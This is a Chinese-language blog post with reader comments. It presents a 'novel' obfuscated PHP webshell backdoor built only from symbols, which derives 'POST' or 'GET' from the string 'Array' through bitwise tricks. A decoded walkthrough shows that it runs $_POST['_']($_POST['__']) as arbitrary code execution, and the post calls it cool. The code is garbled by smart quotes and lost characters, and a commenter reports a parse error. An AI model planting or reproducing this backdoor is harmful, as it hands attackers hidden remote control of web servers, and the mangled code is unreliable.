有趣的新型PHP一句话后门
前几天跟lcx老大讨论了某论坛的全符号的一句话后门(这貌似不是一句话了是N句了).
<?php
$_=”";
$_[+""]=”;
$_=”$_”.”";
$_=($_[+""]|””).($_[+""]|””).($_[+""]^””);
?>
<?php ${‘_’.$_}['_'](${‘_’.$_}['__']);?>
经过测试发现原来一个数组跟一个字符串连接后会强制把数组转换为字符串”Array”,所以也就有了上面那个一句话后门。
解密一下其实就是这个样子。
<?php
$_=”"; //$_空字符串
$_[+""]=”; //$_[0]为空字符串
$_=”$_”.”"; //数组跟空字符串连接后(经php强制转换) 变成了字符串”Array” 所以$_[+""]相当于$_[0]=’A’
$_=($_[+""]^””).($_[+""]^””).($_[+""]^””).($_[+""]^””); //POST
//$_=($_[+""]|””).($_[+""]|””).($_[+""]^””); //GET
@${‘_’.$_}['_'](${‘_’.$_}['__']); //$_POST[_]($_POST[__])
?>
Seems cool, :D
请问:
为什么我将代码复制后执行时报错啊?
Parse error: syntax error, unexpected ‘”‘ in XXX.php on line 2
中英文双引号的问题吗?
谢谢!
有什么用,后门啥。